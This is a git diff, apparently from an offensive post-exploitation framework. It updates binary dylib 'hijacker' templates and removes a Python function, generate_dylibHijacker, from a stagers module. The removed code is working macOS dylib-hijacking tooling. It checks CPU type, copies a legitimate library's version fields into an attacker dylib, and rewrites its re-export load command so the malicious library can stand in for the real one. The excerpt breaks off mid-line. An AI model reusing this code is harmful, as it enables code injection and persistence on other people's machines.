diff --git a/data/misc/hijackers/template.dylib b/data/misc/hijackers/template.dylib index 8692c95..fa6caf8 100755 Binary files a/data/misc/hijackers/template.dylib and b/data/misc/hijackers/template.dylib differ diff --git a/data/misc/hijackers/template64.dylib b/data/misc/hijackers/template64.dylib index c27fd31..6bfbe63 100755 Binary files a/data/misc/hijackers/template64.dylib and b/data/misc/hijackers/template64.dylib differ diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 050955c..3d848eb 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -396,152 +396,6 @@ class Stagers: else: print helpers.color("[!] Unable to patch dylib") - def generate_dylibHijacker(self, attackerDylib, targetDylib, LegitDylibLocation): - - LC_HEADER_SIZE = 0x8 - - def checkPrereqs(attackerDYLIB, targetDYLIB): - - if not os.path.exists(targetDYLIB): - - print helpers.color("[!] Path for legitimate dylib is not valid") - return False - - attacker = open(attackerDYLIB, 'rb') - target = open(targetDYLIB, 'rb') - attackDylib = macholib.MachO.MachO(attacker.name) - targetDylib = macholib.MachO.MachO(target.name) - - if attackDylib.headers[0].header.cputype != targetDylib.headers[0].header.cputype: - print helpers.color("[!] Architecture mismatch!") - return False - - return True - - - - def findLoadCommand(fileHandle, targetLoadCommand): - #print helpers.color("In findLoadCommand function") - #offset of matches load commands - matchedOffsets = [] - - try: - macho = macholib.MachO.MachO(fileHandle.name) - if macho: - for machoHeader in macho.headers: - fileHandle.seek(machoHeader.offset, io.SEEK_SET) - fileHandle.seek(machoHeader.mach_header._size_, io.SEEK_CUR) - loadCommands = machoHeader.commands - - for loadCommand in loadCommands: - - if targetLoadCommand == loadCommand[0].cmd: - matchedOffsets.append(fileHandle.tell()) - - fileHandle.seek(loadCommand[0].cmdsize, io.SEEK_CUR) - except Exception, e: - raise e - matchedOffsets = None - - return matchedOffsets - - def configureVersions(attackerDylib, targetDylib): - #print helpers.color("In configureVersions function") - try: - fileHandle = open(targetDylib, 'rb+') - - versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB) - if not versionOffsets or not len(versionOffsets): - return False - - fileHandle.seek(versionOffsets[0], io.SEEK_SET) - fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) - - #extract current version - currentVersion = fileHandle.read(4) - - #extract compatibility version - compatibilityVersion = fileHandle.read(4) - - fileHandle.close() - - fileHandle = open(attackerDYLIB, 'rb+') - - versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB) - - if not versionOffsets or not len(versionOffsets): - return False - - for versionOffset in versionOffsets: - - fileHandle.seek(versionOffset, io.SEEK_SET) - - fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) - - #set current version - fileHandle.write(currentVersion) - - #set compatability version - fileHandle.write(compatibilityVersion) - - fileHandle.close() - - except Exception, e: - raise e - - return True - - def configureReExport(attackerDylib, targetDylib, LegitDylibLocation): - - try: - fileHandle = open(attackerDylib,'rb+') - - reExportOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_REEXPORT_DYLIB) - - if not reExportOffsets or not len(reExportOffsets): - return False - - for reExportOffset in reExportOffsets: - - fileHandle.seek(reExportOffset, io.SEEK_SET) - fileHandle.seek(0x4, io.SEEK_CUR) - - commandSize = struct.unpack('